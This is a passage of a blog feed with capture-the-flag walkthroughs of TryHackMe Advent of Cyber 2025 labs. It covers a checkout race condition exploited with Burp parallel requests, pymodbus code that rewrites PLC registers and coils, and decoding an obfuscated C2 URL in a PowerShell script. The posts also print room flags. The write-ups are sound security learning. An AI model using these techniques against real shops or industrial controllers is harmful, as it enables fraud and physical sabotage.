            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-qpHR6GE9vLopyfZ9vXRw.png" /></figure><p>Day 20 drops us into a very real kind of production nightmare: <strong>limited-edition stock + holiday traffic + a subtle timing bug</strong>.</p><p>The Best Festival Company (TBFC) released a limited-edition <strong>SleighToy -</strong> just 10 units, going live at midnight. Demand is huge, traffic spikes, everyone rushes to buy.</p><p>And somehow… more than 10 people get “order successful” emails.</p><ul><li>Customers are angry.</li><li>Stock numbers don’t make sense.</li><li>The database says “all good”.</li><li>Reality clearly disagrees.</li></ul><p>McSkidy gets pulled in, and it doesn’t take long to figure out what’s happening: <strong>race conditions</strong> in the checkout flow, amplified by Sir Carrotbane’s bunny bot-clickers.</p><p>This room isn’t about SQL injection or XSS. It’s about what happens when your backend doesn’t handle <strong>concurrent requests</strong> properly.</p><h3>What is a race condition (in human terms)?</h3><p>A <strong>race condition</strong> is what happens when:</p><ul><li>Two or more actions happen <em>around the same time</em></li><li>They rely on some shared state (like stock count, balance, etc.)</li><li>The final result depends on the <strong>order</strong> they complete</li></ul><p>If you don’t enforce proper locking or atomic operations, you get weird, unexpected results. Think:</p><ul><li>Two people successfully buying the <strong>same “last” item</strong></li><li>A balance updated twice incorrectly</li><li>Counters going negative</li></ul><p>The room breaks it down into three common categories:</p><h3>1. Time-of-Check to Time-of-Use (TOCTOU)</h3><p>You:</p><ol><li><strong>Check</strong> something is valid</li><li><strong>Use</strong> that result later</li></ol><p>If the world changes in between, your assumption is now wrong.</p><p>Example:<br> The system checks stock &gt; 0 at time T1.<br> Two users hit “Checkout” almost simultaneously.<br> Both see “In stock”, both proceed.<br> Stock was 1, but you just sold 2.</p><h3>2. Shared resource race</h3><p>Multiple requests update the <strong>same shared resource</strong> at the same time, without proper locking.</p><p>Example:<br> Two threads both read stock = 5.<br> Each decrements it to 4 and writes back.<br> You should end up with 3, but you get 4, because one update overwrote the other.</p><h3>3. Atomicity violation</h3><p>An operation that should be <strong>all-or-nothing</strong> (atomic) is instead broken into several steps that can be interrupted.</p><p>Example:<br> “Charge payment + confirm order” isn’t atomic.<br> You charge the card, then something interrupts before the order is confirmed.<br> Now the logs say “payment successful”, but there’s no order record.</p><h3>The SleighToy app: where things go wrong</h3><p>In this lab, we interact with a simple TBFC shopping app</p><p>Login as:</p><ul><li><strong>user</strong>: attacker</li><li><strong>password</strong>: attacker@123</li><li>There’s a <strong>SleighToy Limited Edition</strong> with stock = 10.</li><li>The backend is vulnerable to a race condition in the <strong>checkout</strong> logic.</li></ul><p>A normal, legitimate purchase works like this:</p><ol><li>Add SleighToy to cart</li><li>Click <strong>Checkout</strong></li><li>Click <strong>Confirm &amp; Pay</strong></li><li>You get a success message, and stock decrements by 1</li></ol><p>All good so far.</p><p>The challenge is:<br> Can we make the app process <em>multiple</em> checkouts <strong>at the same time</strong>, using <em>the same</em> final checkout request?</p><p>Answer: yes, with <strong>Burp Suite Repeater</strong> and parallel requests.</p><h3>Setting up interception with Burp</h3><p>On the AttackBox, the flow is:</p><ol><li>Open Firefox</li><li>Use <strong>FoxyProxy</strong> to set the traffic to go through the Burp proxy</li><li>Start <strong>Burp Suite</strong> → Temporary project → Start Burp</li><li>Ensure <strong>Intercept is off</strong></li></ol><ul><li>Proxy → Intercept → button should read <em>“Intercept is off”</em></li></ul><p>Now every request from Firefox goes via Burp, but isn’t paused.</p><h3>Step 1 - Make a normal purchase and capture the checkout request</h3><ol><li>Visit <a href="http://machine_ip/">http://MACHINE_IP</a></li><li>Login with attacker / attacker@123</li><li>Add the <strong>SleighToy Limited Edition</strong> to the cart</li><li>Click <strong>Checkout</strong></li><li>On the checkout page, click <strong>Confirm &amp; Pay</strong></li></ol><p>This triggers a POST request to something like /process_checkout.</p><p>In Burp:</p><p>Go to <strong>Proxy → HTTP history</strong></p><ul><li>Find the POST /process_checkout request</li><li>Right-click → <strong>Send to Repeater</strong></li></ul><p>This single request is what we’ll abuse.</p><h3>Step 2 - Clone that checkout request and fire it in parallel</h3><p>In <strong>Repeater</strong>:</p><ol><li>Click the tab for your POST /process_checkout request</li><li>Right-click the tab → <strong>Add tab to group</strong> → create a group, e.g. cart</li><li>Right-click again → <strong>Duplicate tab</strong></li><li>When it asks for number of copies, choose something like <strong>15</strong></li></ol><p>Now you have 15 identical checkout requests in the same group, all ready to be sent.</p><p>Next, in the Repeater toolbar:</p><ul><li>Click the <strong>Send</strong> dropdow</li><li>Choose <strong>Send group (parallel) - last-byte sync</strong></li></ul><p>This option makes Burp send all those tabs <strong>at the same time</strong>, and wait for all responses.</p><p>Now click <strong>Send group (parallel)</strong> and let them fly.</p><p>On a properly written backend, only one of these should succeed if stock is low. On this vulnerable app, multiple requests get through before the stock value is safely updated - so they all “win the race”.</p><h3>Step 3 - Check the damage</h3><p>Go back to the web app after the parallel requests finish.</p><p>You’ll notice:</p><ul><li>Multiple “orders” for SleighToy have been processed</li><li>The stock is no longer just zero - it can go <strong>negative</strong></li></ul><p>That confirms we’ve triggered the race condition: the backend is processing concurrent checkouts without proper locking or atomicity.</p><p>And of course, this is where the flag shows up.</p><blockquote><strong><em>Question</em></strong><em>: What is the flag value once the stocks are negative for SleighToy Limited Edition?<br></em><strong><em> Answer</em></strong><em>:</em><em> THM{WINNER_OF_R@CE007</em>}</blockquote><p>We just “won” the race.</p><h3>Step 4 - Repeat for Bunny Plush (Blue)</h3><p>The second task is basically the same idea but with another product: <strong>Bunny Plush (Blue)</strong>.</p><p>The steps are:</p><ol><li>Add <strong>Bunny Plush (Blue)</strong> to cart</li><li>Perform a normal checkout once (just to see it works)</li><li>Capture the POST /process_checkout request again for that item</li><li>Send it to Repeater, group it, duplicate into many tabs</li><li>Use <strong>Send group in parallel</strong> again</li></ol><p>Once you hammer the endpoint in parallel, the Bunny Plush stock also starts to go negative, and another flag appears.</p><blockquote><strong><em>Question:</em></strong><em> What is the flag value once the stocks are negative for Bunny Plush (Blue)?<br> </em><strong><em>Answer:</em></strong><em> </em><em>THM{WINNER_OF_Bunny_R@ce}</em></blockquote><p>Same bug, different product.</p><p>Flags for the day:</p><ul><li><strong>SleighToy Limited Edition:</strong> THM{WINNER_OF_R@CE007}</li><li><strong>Bunny Plush (Blue):</strong> THM{WINNER_OF_Bunny_R@ce}</li></ul><p>One more race condition down. On to the next day.</p><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68593df0d518" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 19: ICS/Modbus - Claus for Concern]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-19-ics-modbus-claus-for-concern-a9dc2d15fd56?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9dc2d15fd56</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ics-security]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Fri, 19 Dec 2025 20:11:58 GMT</pubDate>
            <atom:updated>2025-12-21T19:38:27.344Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPmZsN4P7lrMe_W5U1rdJA.png" /></figure><p>Day 19 was a nice break from “normal” web/app stuff and deep into a world that honestly doesn’t get enough attention in security: <strong>industrial control systems (ICS)</strong>.</p><p>This time, we’re not just dealing with a web shell or a phishing page. We’re dropping into TBFC’s <strong>drone delivery control system</strong>, which behaves more like a mini power plant than a web app. And yes, King Malhare has found a way to weaponise chocolate eggs.</p><p>This post is my walkthrough plus the mental model I used. If a recruiter or another blue-teamer is reading this, my goal isn’t to flex flags - it’s to show <em>how</em> I reasoned through the problem and what I actually learned.</p><h3>Story recap: when Christmas turns into Easter logistics</h3><p>The room starts with confusion in the warehouse:</p><ul><li>The system claims it’s shipping <strong>Christmas presents</strong>.</li><li>Customers are unboxing <strong>chocolate eggs and Easter junk</strong>.</li><li>Drones are happily doing their job, but the <em>wrong</em> job</li><li>A message briefly flashes on a monitor:</li><li>EGGSPLOIT v6.66 - Property of HopSec Island</li></ul><p>So nothing is “down”. No ransomware note, no crashed server. The system is <strong>operational but misbehaving</strong>. That’s a classic ICS problem: the process is still running, it’s just been subtly sabotaged.</p><p>We also “find” a crumpled note near the PLC terminal with a Modbus register map:</p><ul><li><strong>HR0 -</strong> Package Typ</li><li>0 = Christmas Gifts</li><li>1 = Chocolate Egg</li><li>2 = Easter Baskets</li><li><strong>HR1 -</strong> Delivery Zone (1–9 normal, 10 = ocean dump)</li><li><strong>HR4 -</strong> System Signature (default 100, currently suspicious)</li><li><strong>Coils</strong> like:</li><li>C10 - Inventory verification</li><li>C11 - Protection/Override</li><li>C12 - Emergency dump</li><li>C13 - Audit logging</li><li>C14 - “Christmas restored” flag</li><li>C15 - Self-destruct status</li></ul><p>And the key warning:</p><blockquote><strong><em>CRITICAL: Never change HR0 while C11 = True - will trigger countdown!</em></strong></blockquote><p>So we’re walking into a booby-trapped ICS environment. No “just flip a bit and hope”.</p><h3>Quick ICS / SCADA mental model (why this isn’t just another web server)</h3><p>This room uses a simplified version of what you’d see in industrial environments:</p><ul><li><strong>SCADA -</strong> The “command center” that lets humans monitor and control the process: dashboards, trending graphs, alarms, etc.</li><li><strong>PLCs (Programmable Logic Controllers) -</strong> Rugged little computers that run automation logic 24/7. “If sensor X says package is at this position, move arm Y” kind of stuff.</li><li><strong>Sensors &amp; actuators -</strong> The eyes and hands: weight sensors, belt motors, robotic arms, valves.</li><li><strong>Historians/logging -</strong> Long-term logs of who changed what and when.</li></ul><p>In this challenge, TBFC’s drone system:</p><ul><li>Decides <strong>what type of package</strong> to load (gift vs egg vs basket).</li><li>Chooses <strong>which delivery zone</strong> to send it to.</li><li>Shows <strong>real-time CCTV</strong> of what’s happening on the floor.</li><li>Uses <strong>Modbus TCP</strong> as the protocol to talk to the “brains”.</li></ul><p>And that’s the important bit: <strong>Modbus</strong>.</p><blockquote><strong><em>Room question:</em></strong><em> </em>What port is commonly used by Modbus TCP?<em><br> </em><strong><em>Answer:</em></strong><em> </em><em>502</em></blockquote><p>Remember that number. It basically becomes the front door to the entire control system.</p><h3>Modbus &amp; PLC: the boring protocol that breaks everything</h3><p>Modbus is one of those ancient industrial protocols that survived because it’s simple and it works. It also has:</p><ul><li><strong>No authentication</strong></li><li><strong>No encryption</strong></li><li><strong>No authorization</strong></li></ul><p>If you can reach port <strong>502</strong>, you can usually:</p><ul><li>Read “registers” (configuration and sensor values)</li><li>Write “registers” and “coils” (change behaviour, toggle flags)</li></ul><p>The drone system uses Modbus data types like:</p><ul><li><strong>Holding registers (HR) -</strong> numeric config values (e.g., package type, delivery zone, signature)</li><li><strong>Coils © -</strong> boolean flags (on/off) for features like verification, dumping, logging, etc.</li></ul><p>The note we found is literally a quick and dirty <strong>Modbus register map</strong>. Whoever wrote it clearly realised something was wrong and tried to document the dangerous bits before getting interrupted.</p><h3>Step 1 - Recon: what’s actually exposed?</h3><p>On the AttackBox, I started with a focused nmap scan: nmap -sV -p 22,80,502 MACHINE_IP</p><p>The interesting parts:</p><ul><li>80/tcp http → web (CCTV / monitoring)</li><li>502/tcp modbus → Modbus TCP endpoint (the PLC interface)</li></ul><p>This is very realistic: a web UI for humans, and a binary protocol for machines.</p><p>I pulled up the CCTV feed at http://MACHINE_IP and, sure enough:</p><ul><li>Conveyor belts are running.</li><li>Robotic arms are working</li><li>Drones are being loaded.</li></ul><p>But what’s moving isn’t toys - it’s Easter eggs.</p><p>The key detail: <strong>this is not a “down” system</strong>. It’s running fine, just with <strong>malicious configuration</strong>.</p><h3>Step 2 - Talking Modbus directly with Python</h3><p>We don’t fix this from the web UI. King Malhare bypassed that and hit the PLC directly over Modbus. So we do the same, but in a controlled, blue-team way.</p><p>The room uses pymodbus, which makes Modbus TCP surprisingly straightforward.</p><p>Basic connection:</p><p>from pymodbus.client import ModbusTcpClient</p><p>client = ModbusTcpClient(‘MACHINE_IP’, port=502)<br>client.connect()</p><p>No login prompt. No token. Just “hi, I’m a client” and the PLC says, “cool, what do you want?”</p><h3>Step 3 - Reading holding registers: HR0, HR1, HR4</h3><p>First, I wanted to confirm what was actually configured on the system.</p><h3>HR0 - Package type</h3><p>result = client.read_holding_registers(address=0, count=1, slave=1)<br>package_type = result.registers[0]</p><p>The value came back as:</p><p>HR0 (Package Type): 1 → Chocolate Eggs</p><p>So the system is <em>deliberately</em> set to ship eggs. That matches what we’re seeing on CCTV.</p><h3>HR1 - Delivery zone</h3><p>result = client.read_holding_registers(address=1, count=1, slave=1)<br>zone = result.registers[0]</p><p>I got:</p><p>HR1 (Delivery Zone): 5 → Normal zone</p><p>So at least they’re not dumping everything into the ocean (zone 10)… yet.</p><h3>HR4 - System signature</h3><p>result = client.read_holding_registers(address=4, count=1, slave=1)<br>signature = result.registers[0]</p><p>Output: HR4 (System Signature): 666 → Eggsploit signature</p><p>So King Malhare literally tagged his implant with 666. Subtlety is not his strength.</p><h3>Step 4 - Reading coils: the real trap</h3><p>Now comes the dangerous part: the <strong>coils</strong>.</p><ul><li><strong>C10 - </strong>Inventory verification</li><li><strong>C11 -</strong> Protection/override (the trap switch)</li><li><strong>C12 -</strong> Emergency dump</li><li><strong>C13 -</strong> Audit logging</li><li><strong>C14 -</strong> “Christmas Restored” fla</li><li><strong>C15 -</strong> Self-destruct arme</li></ul><p>Example read: result = client.read_coils(address=10, count=6, slave=1)<br>c10, c11, c12, c13, c14, c15 = result.bits[:6]</p><p>On my run, the state was roughly:</p><ul><li>C10 = False → inventory verification disabled</li><li>C11 = True → protection/override active (trap is armed)</li><li>C12 = False → emergency dump not active (yet)</li><li>C13 = False → audit logging disabled</li><li>C14 = False → Christmas not yet restored</li><li>C15 = False → self-destruct not armed (yet)</li></ul><p>This matches the note:</p><ul><li><strong>HR0 = 1</strong> (eggs)</li><li><strong>C11 = True</strong> (protection active)</li><li>If you touch HR0 while C11 is on, <strong>C15</strong> arms, <strong>C12</strong> later triggers, and everything goes to <strong>zone 10 (ocean)</strong>.</li></ul><p>So if you just barged in and did: client.write_register(0, 0)</p><p>…you’d make things worse and trigger the trap. That’s exactly the kind of mistake that actually happens in real ICS incidents when people rush.</p><h3>Step 5 - Safe remediation plan</h3><p>At this point, my mental checklist looked like this:</p><p>We need to:</p><ol><li><strong>Disable the protection/override trap -</strong> set C11 = False</li><li><strong>Change the package type - </strong>set HR0 = 0 (Christmas gifts)</li><li><strong>Re-enable safety features</strong>:</li></ol><ul><li>C10 = True (inventory verification)</li><li>C13 = True (audit logging)</li></ul><ol><li>Confirm we <strong>didn’t arm self-destruct</strong> or trigger emergency dump.</li><li>Check if the system auto-sets C14 (Christmas restored) and exposes the flag.</li></ol><p>The order matters. The fix is not “just change HR0”. It’s <strong>disable trap → change config → re-enable protections</strong>.</p><h3>Step 6 - Writing the “restore Christmas” script</h3><p>The room walks you through building a Python script (restore_christmas.py) using pymodbus that:</p><ul><li>Connects to the PLC</li><li>Verifies the current state</li><li>Writes coils and registers in a safe order</li><li>Reads back a range of registers that encode the final fla</li></ul><p>The core actions are essentially:</p><p># 1) Disable protection<br>client.write_coil(11, False) # C11 = False</p><p># 2) Set package type back to Christmas<br>client.write_register(0, 0) # HR0 = 0</p><p># 3) Turn verification &amp; logging back on<br>client.write_coil(10, True) # C10 = True<br>client.write_coil(13, True) # C13 = True</p><p>Then you read back:</p><ul><li>HR0 (should be 0)</li><li>C12 (should still be False)</li><li>C15 (should still be False)</li><li>C14 (should now be True if the system agrees Christmas is restored)</li></ul><p>And finally, you pull a block of holding registers (e.g. starting at 20) and interpret them as bytes to get the flag string.</p><p>When I ran the script, I got:</p><blockquote><strong><em>Flag</em></strong><em>:</em><em> THM{eGgMas0V3r</em>}</blockquote><p>The CCTV feed also flips from “Compromised” to a victorious message showing that Christmas deliveries are back to normal.</p><blockquote><strong><em>Room question:</em></strong><em> </em>What’s the flag?<em><br> </em><strong><em>Answer:</em></strong><em> </em><em>THM{eGgMas0V3r}</em></blockquote><h3>What if you do it wrong?</h3><p>The room authors also built in the failure mode:</p><p>If you change HR0 while C11 = True:</p><ul><li>C15 (self-destruct) gets set.</li><li>A countdown starts.</li><li>C12 (emergency dump) flips on.</li><li>HR1 jumps to zone 10 (ocean dump).</li><li>The CCTV shows everything getting thrown away.</li><li>You basically “lose Christmas” and have to restart the room.</li></ul><p>Which is funny in a CTF, but in the real world that could be:</p><ul><li>Dumping chemical</li><li>Spinning motors out of safe rang</li><li>Opening valves you shouldn’t</li></ul><p>Nice reminder that in ICS, <strong>“just try it and see” can have real consequences</strong>.</p><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9dc2d15fd56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 18: Obfuscation - The Egg Shell File]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-18-obfuscation-the-egg-shell-file-a8102c196f4b?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8102c196f4b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 21:24:32 GMT</pubDate>
            <atom:updated>2025-12-18T21:26:11.510Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmxUytvQ8M66djenSH9-AA.png" /></figure><p>I’ve been slowly working through TryHackMe’s <strong>Advent of Cyber 2025</strong>, and Day 18 was one of those challenges that looks like nonsense at first glance… and then quietly teaches you three or four important things about real-world malware.</p><p>The story: WareVille is a mess, the wormhole has destabilised everything, and McSkidy spots a weird email spoofing <strong>northpole-hr</strong> (which doesn’t even exist - HR is at the South Pole). Attached to that phishing email is a tiny PowerShell script full of unreadable gibberish.</p><p>That “gibberish” is exactly what this day is about: <strong>obfuscation</strong>.</p><p>This write-up is my own notes and thought process - not just a flag dump - so if a recruiter ever lands here, you’ll see how I actually work through a problem, not just paste answers from somewhere else.</p><h3>Obfuscation: when code pretends to be nonsense</h3><p>Before touching any tools, the room does a good job of forcing you to answer a basic question:</p><blockquote>What am I actually looking at - encoding, encryption, or obfuscation?</blockquote><p>Very quickly:</p><ul><li><strong>Encoding</strong></li><li>Goal: compatibility (e.g., safely send binary data over text channels).</li><li>Examples: Base64, URL encoding.</li><li>Easy to reverse if you know the scheme.</li><li><strong>Encryption</strong></li><li>Goal: confidentiality.</li><li>Needs an algorithm <strong>and</strong> a key.</li><li>If you don’t have the key, you’re (ideally) stuck.</li></ul><p><strong>Obfuscation</strong></p><ul><li>Goal: make the code/data annoying to read and analyse</li><li>Often uses encoding, weak ciphers, string mangling, or layered tricks.</li><li>It’s “security by annoyance”, not real cryptography.</li></ul><p>Attackers use obfuscation to dodge simple detection rules like:</p><p>if (file contains “C2.example.com”) =&gt; block</p><p>So instead of putting C2.example.com in plain text, they’ll:</p><ul><li>ROT13 it</li><li>XOR it</li><li>Base64 it</li><li>Or layer those things together</li></ul><p>…then reconstruct it at runtime.</p><p>Our job on Day 18 is to go the other way: <strong>peel those layers off safely</strong>.</p><h3>The toolbox: CyberChef</h3><p>If you haven’t used it before, <strong>CyberChef</strong> is basically a drag-and-drop decoder playground in the browser. You throw something ugly into the input pane, stack “operations” like:</p><ul><li>From Base64</li><li>ROT13</li><li>XOR</li><li>Gunzip</li><li>Magic (which tries lots of things for you)</li></ul><p>…then hit <strong>BAKE</strong> and see what falls out.</p><p>The room walks through simple cases:</p><ul><li>ROT1 / ROT13 style “letters shifted along the alphabet”</li><li>Base64 strings (A–Z, a–z, 0–9, + /, often ending with = or ==)</li><li>XOR with a single-byte key, which often turns plain text into weird symbols of exactly the same length</li></ul><p>Then it shows a layered example:</p><blockquote><em>gzip → XOR with key </em><em>x → Base64</em></blockquote><p>To reverse it, you just <strong>reverse the order</strong>:</p><blockquote><em>From Base64 → XOR with </em><em>x → Gunzip</em></blockquote><p>That’s the core pattern you keep applying when dealing with obfuscated malware:<br> <em>“What might they have done to this? Cool, now do the opposite, one step at a time.”</em></p><h3>Meeting the suspect: SantaStealer.ps1</h3><p>On the VM, the script lives on the Desktop as: C:\Users\Administrator\Desktop\SantaStealer.ps1</p><p>I opened it in Visual Studio / VS Code from the desktop and jumped to the section literally labelled:</p><p># ===== Start here =====</p><p>The script is set up like a training exercise: the comments guide you to:</p><ol><li><strong>Deobfuscate a Command &amp; Control (C2) URL</strong></li><li>Run the script to confirm you decoded it correctly and grab a flag</li><li>Then <strong>obfuscate</strong> the attacker’s API key using XOR</li><li>Run it again and get a second flag</li></ol><p>So you’re learning both sides: how to <em>undo</em> obfuscation and how attackers <em>apply</em> it.</p><h3>Part 1 - Deobfuscating the C2 URL</h3><p>The first target is the C2 URL that the malware wants to talk to.</p><p>In the “Start here” section there’s an obviously cooked string - something that doesn’t look like a URL, human text, or any normal PowerShell variable. Think: $encC2 = “WEIRD-LONG-BASE64/XOR/WHATEVER”</p><p>The comments basically tell you:</p><blockquote><em>“This C2 value is obfuscated. Deobfuscate it and replace it with the real plaintext URL before running the script.”</em></blockquote><p>My process looked like this:</p><ol><li><strong>Copy the suspicious string</strong> into CyberChef’s <strong>Input</strong>.</li><li>Try the obvious stuff:</li></ol><ul><li>From Base64</li><li>If that fails, add ROT13 before or after, or try Magic.</li></ul><ol><li>Once it starts looking like a URL (or at least readable English), you know you’ve got it.</li></ol><p>In my case, this was straightforward base64-style deobfuscation. After decoding, I replaced the obfuscated variable with the plaintext URL in the script.</p><p>Then in PowerShell:</p><p>PS C:\Users\Administrator&gt; cd .\Desktop\<br>PS C:\Users\Administrator\Desktop&gt; .\SantaStealer.ps1</p><p>The script ran successfully and printed the first flag:</p><blockquote><em>THM{C2_De0bfuscation_29838</em>}</blockquote><p>From a blue-team perspective, this is the exact pattern we see in the wild: PowerShell loaders that build URLs or commands from “random-looking” strings just to dodge simple signatures.</p><h3>Part 2 - Obfuscating the attacker’s API key with XOR</h3><p>The second half flips the roles a bit: now <strong>you</strong> have to obfuscate something.</p><p>The script has an API key hard-coded in one of the variables. The comments say (paraphrased):</p><blockquote><em>“Obfuscate this API key using XOR with the given key, update this value in the script, then run it again.”</em></blockquote><p>So the flow is:</p><ol><li>Identify the <strong>original API key</strong> in the script.</li><li>Note the XOR key mentioned in the comments.</li><li>Open CyberChef and:</li></ol><ul><li>Put the <strong>plain API key</strong> into the <strong>Input</strong></li><li>Add an XOR operation with:</li><li>Key = the one from the comments</li><li>Make sure the key type matches (often ASCII / UTF-8)</li></ul><ol><li>Take the <strong>XOR’d output</strong> and paste it back into the script where the obfuscated API value is expected.</li><li>Save the script and run it again from PowerShell.</li></ol><p>When I ran it the second time, the script successfully de-XOR’d its own API key and printed the second flag:</p><blockquote><strong><em>Flag 2:</em></strong><em> </em><em>THM{API_Obfusc4tion_ftw_0283}</em></blockquote><p>What I like about this part is that it forces you to think like the attacker for a minute:</p><ul><li>How can I keep this API key out of plain sight?</li><li>What minimal amount of effort is enough to dodge naive string-matching rules?</li><li>How would a defender notice this anyway (static and dynamic analysis, suspicious PowerShell usage, etc.)?</li></ul><h3>Quick summary &amp; room answers</h3><p>For anyone doing the same TryHackMe room and wanting to check their work, my final answers were:</p><p><strong>What is the first flag you get after deobfuscating the C2 URL and running the script?</strong><br> THM{C2_De0bfuscation_29838}</p><p><strong>What is the second flag you get after obfuscating the API key and running the script again?</strong><br> THM{API_Obfusc4tion_ftw_0283}</p><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8102c196f4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 - Day 17: CyberChef - Hoperation Save McSkidy]]></title>
            <link>https://medium.com/@patelaksht24/advent-of-cyber-2025-day-17-cyberchef-hoperation-save-mcskidy-7967c3dbabb4?source=rss-b5bdae277b6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7967c3dbabb4</guid>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[password-management]]></category>
            <category><![CDATA[passwords]]></category>
            <dc:creator><![CDATA[Akshat Patel]]></dc:creator>
            <pubDate>Wed, 17 Dec 2025 17:27:12 GMT</pubDate>
            <atom:updated>2025-12-17T20:52:55.669Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve always thought CyberChef had one of the coolest nicknames in security: the <em>Cyber Swiss Army Knife</em>. Day 17 of <strong>Advent of Cyber 2025</strong> leans fully into that idea.</p><p>The story this time:<br> McSkidy is trapped in <strong>King Malhare’s Quantum Warren</strong>, and the only way to help her escape is by breaking <strong>five different “locks”</strong> in a web app. Each lock uses some combination of encoding, simple crypto, or transformation logic. The twist: the guards will actually tell you the password… but only if you speak their language - meaning you need to encode and decode things correctly.</p><p>This room is a great small, focused exercise in:</p><ul><li>Understanding the difference between <strong>encoding vs. encryption</strong></li><li>Reading and using <strong>HTTP headers</strong></li><li>Chaining operations in <strong>CyberChef</strong></li><li>Thinking <em>backwards</em> from an implementation to recover original data</li></ul><p>Below is how I approached it, what I learned, and the answers I ended up with.</p><h3>Encoding vs Encryption - Quick Reality Check</h3><p>Before touching CyberChef, the room makes you pause on the difference between <strong>encoding</strong> and <strong>encryption</strong>, which is something people blur all the time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5p5PX_4VdqC1oyIVuaaBA.png" /></figure><p>ConceptGoalReversible?Needs a key?EncodingCompatibility / transportYesNoEncryptionConfidentiality / protectionYesYes</p><ul><li><strong>Encoding</strong> (like Base64) is about making data safe to store or transmit. It’s not meant to be secure.</li><li><strong>Encryption</strong> uses algorithms + keys (e.g., TLS, AES). It’s designed so that without the key, you <em>shouldn’t</em> be able to turn ciphertext back into plaintext.</li></ul><p>In this challenge, everything is about <strong>encoding and simple transforms</strong>, not “real” encryption. That’s why CyberChef is perfect for it.</p><h3>CyberChef Basics (the “Recipe” Mindset)</h3><p>If you haven’t used CyberChef before, the interface is built around three main ideas:</p><ul><li><strong>Operations</strong> :building blocks (To Base64, From Base64, XOR, ROT13, Reverse, etc.)</li><li><strong>Recipe</strong> → the chain of operations you apply in sequence</li><li><strong>Input / Output</strong> → what you feed in vs. what you get out</li></ul><p>For example:</p><ol><li>Drag <strong>To Base64</strong> into the recipe</li><li>Type IamRoot in the input</li><li>See the encoded Base64 in the output</li><li>Then add <strong>From Base64</strong> <em>below</em> it to see how chained operations work (it returns to IamRoot)</li></ol><p>That exact mindset - build a pipeline, then mentally <em>reverse</em> it - is 